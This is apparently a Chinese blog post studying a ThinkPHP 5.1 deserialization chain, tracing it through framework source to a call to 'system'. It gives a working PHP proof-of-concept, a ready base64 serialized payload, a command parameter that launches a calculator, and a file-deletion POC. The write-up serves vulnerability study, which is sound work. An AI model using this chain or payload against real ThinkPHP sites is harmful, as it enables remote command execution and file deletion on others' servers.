[php]-Tp5.1反序列化学习
ThinkPhp5.1反序列化
咕咕咕
Tp5.1链接
Tp5.1手册
利用compoer
运行 composer
composer create-project topthink/think=5.1.* tp
启动服务
cd tp
php think run
访问
127.0.0.1:8080
URL解析模式
http://localhost/index.php/模块/控制器/操作/参数/值
访问
http://localhost:8000/index/index/hello/name/Muz1
反序列化链分析
发序列化链是从 __destruct()
开始
跟进 /thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{$this->close();$this->removeFiles();
}
跟进 close()
,没东西, 跟进 removeFiles()
private function removeFiles()
{foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];
}
这里 $this->files
,@unlink
可以删除文件
poc:
这里是删除 F:/test.txt
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['F:\\test.txt'];}
}
echo base64_encode(serialize(new Windows()));
然后执行到 file_exists($filename)
, file_exists
将 $filename
当字符串然后触发 __toString
方法,
在 \thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{return $this->toJson();
}
跟进 toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{return json_encode($this->toArray(), $options);
}
有个toArray()
方法
public function toArray()
{...if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}...
这里的$this->append
可控,所以$key
和$name
也可控,最后会调用 $relation->visible($name);
所以如果$relation
可控的话就可以通过调用不可访问的方法触发__call()
跟进一下getRelation()
public function getRelation($name = null)
{if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;
}
array_key_exists() 函数检查某个数组中是否存在指定的键名,绕过if/else判断,返回值为空,进行(!$relation)
然后 getAttr()
方法
public function getAttr($name, &$item = null)
{try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}...return $value;
}
跟进 getData()
public function getData($name = null)
{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
可以回头看一下 $name
值,$relation = $this->getAttr($key);
调用getAttr()
时将$this->append
的key
传给形参$name
,之后再调用$getData($name)
,将刚才的$name
传入,
所以这里的$name
也就是$this->append
的key
,
而这里的第一个elseif处的$this-$data
又可控,所以最终的$relation
相当于$relation=$this->data[$key]
,
$relation
和$name
都可控,就可以通过 $relation->visible($name);
触发__call()
了
因为 __toString()
是 Conversion.php
的,getAttr()
等是Attribute.php
的,所以找一个类同时包含这俩
\thinkphp\library\think\Model.php
abstract class Model implements \JsonSerializable, \ArrayAccess
{use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;
因为这是个抽象类abstract()
,不能被 new
,需要找一个子类
\thinkphp\library\think\model\Pivot.php
找到实现类之后,找__call()
, call_user_func..
找到\thinkphp\library\think\Request.php
public function __call($method, $args)
{if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);
}
但是不能直接利用 call_user_func_array
执行 system
,这里$method
是visible
,$args
是之前的$name
可控,但是有这行代码:array_unshift($args, $this)
把 $this
插到了 $args
的最前面,使得 system
的第一个参数不可控,没法直接 system
。因此想办法回调thinkphp中的方法,而且经过一系列构造,最终命令执行中的参数和这里的 $args
无关。
private function filterValue(&$value, $key, $filters)
{$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);......................
这里有个call_user_func($filter, $value);
但参数不可控仍然无法命令执行,但可以通过本类中的input()
方法来控制参数
public function input($data = [], $name = '', $default = null, $filter = '')
{if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 强制类型转换$this->typeCast($data, $type);}return $data;
}
可以看到这三行代码,通过getFilter()
方法控制$filter,通过array_walk_recursive()
回溯调用刚刚的filterValue
()方法
$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);
跟进getFilter()
protected function getFilter($filter, $default)
{if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;
}
$filter = $filter ?: $this->filter;
很明显filter
可控了,再看另一个参数$data
,如果$data
可控,而且$name
为空字符串的话,input
函数中前面的那些代码if条件就不成立,不构成影响。
param()
函数中存在调用 input()
public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);
}
可以看到最后一行调用input,并且第一个参数的值$this->param
可控,控制点在上方
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->param
是由本来的$this->param
,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive
,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param
也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param
了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。
最后就剩下最后一个问题了,就是何处调用了param()
,并且调用时$name
为空,经过寻找找到了isAjax()
public function isAjax($ajax = false)
{$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;
}
调用位置
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->config['var_ajax']
是配置文件中的值,只需要让他为空,那么他在调用$this->param
时,默认的第一个参数$name
就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断,至此整条链就结束了,简单的回顾下。
__call()方法调用return call_user_func_array($this->hook[$method], $args);,让$this->hook[$method]的值为isAjax就调用了isAjax()函数,函数中$this->param($this->config[‘var_ajax’]) ? true : $result;调用了param()函数,param()的最后一行调用了input()方法,input()中调用array_walk_recursive回调调用filterValue()函数,该函数中$value = call_user_func($filter, $value);进行了命令执行,并通过最后的return返回
public/index.php加上如下两句作为入口
然后构造POC:
<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Muz1"=>["hello"]];$this->data = ["Muz1"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '_ajax',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip' => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
传参:
GET: ?Muz1=calc
POST: key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJNdXoxIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiTXV6MSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
然后会弹出计算器,这里没弹出来 不明白哪的原因‘
参考
https://blog.csdn.net/weixin_54902210/article/details/124874209?spm=1001.2014.3001.5502
[php]-Tp5.1反序列化学习相关推荐
- Tomcat-Session反序列化学习
Tomcat-Session反序列化学习 简介 CVE-2020-9484. 要求: tomcat必须启用session持久化功能FileStore tomcat/lib或者WEB-INF/lib目录 ...
- java object转map_Java反序列化学习之CommonsCollections1
更多全球网络安全资讯尽在邑安全 www.eansec.com 漏洞点 漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collec ...
- C++ 序列化和反序列化学习
定义 程序员在编写应用程序的时候往往需要将程序的某些数据存储在内存中,然后将其写入某个文件或是将它传输到网络中的另一台计算机上以实现通讯.这些过程将会涉及到程序数据转化成能被存储并传输的格式,因此被称 ...
- C#序列化与反序列化学习
最近为了换一份新工作,准备了不少笔试题.从笔试当中自己发现了不少基础知识的盲点.很庆幸这样的机会,可以让自己对于基础知识的理解又上升一个台阶.此文介绍C#里面的序列化与反序列化的知识,如果你是大鸟,请 ...
- session.upload_progress反序列化学习
Session的配置选项和存储方式 在php.ini中存在四项配置项: session.save_path="" --设置session的存储路径 session.sa ...
- C#序列化、反序列化学习
概念: 序列化就是将对象转换为可保持或传输的过程,与序列化相反的过程就是反序列化. 作用: 通过序列化可以很轻松的存储和传输对象. 三种序列化技术: .NET提供了三种序列化技术,我只知道这三种技术. ...
- C# 中XML序列化与反序列化学习笔记
2019独角兽企业重金招聘Python工程师标准>>> static void Main(string[] args){List<Person> list = new L ...
- php反序列化之pop链构造
前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...
- java安全(七) 反序列化3 CC利用链 TransformedMap版
给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 目录 图解 代码demo 涉及的接口与类: TransformedMap Transformer ConstantTransformer Invo ...
- php反序列化拓展攻击详解
2019-11-11 16:51 文章首发于先知社区:https://xz.aliyun.com/t/6699 前言 继上篇对thinkphp5版本反序列化pop链详细分析后,对tp的反序列化漏洞有了 ...
最新文章
- java 插入排序_看动画学算法之:排序-插入排序
- 初识Tcl(十):Tcl 过程
- spark中的println失效问题解决
- hdu 4296 Buildings (贪心)
- 苹果:2020全年App Store阻止了超15亿美元潜在诈骗交易
- 向上累积频数怎么算_视频号怎么运营?小白也能迅速get的技巧
- Helm 3 完整教程(三):chart 的文件结构和字段详解
- 爱国者MID产品介绍
- baidu__git_android
- Linux下的基本操作
- socket基本使用
- Linux内核入门(一)——体系架构
- 金网seo工具资源全套软件
- LLC谐振电路(一) 整流电路总结
- “区块链+”教育的发展现状及其应用价值研究
- apfs扩容_MacBook Air 2015 换硬盘心得
- 记一次git pull 错误
- 推荐:雨林木风Linux
- Java图形化GUI界面
- strcpy 和strncpy 的代码和区别
热门文章
- 有哪些超好用的邮件群发软件?这款做邮件推广的一定要试试!
- 使用百度siteapp开发网站的App-(IOS和Android版本)
- 学习视频处理(一),了解HLS,流媒体,视频编码
- word制作多级标题目录
- 记事本开发 dos下编译java 多个类文件_通过记事本编写的java代码通过()命令运行。_学小易找答案...
- 【Alpha版本】冲刺阶段——Day 1
- CVPR 2021 论文大盘点-超分辨率篇
- PHP 函数的完整参考手册
- android 风吹的动画,最炫Material Design风过渡动画
- lzg_ad:Windows Embedded Standard 安装说明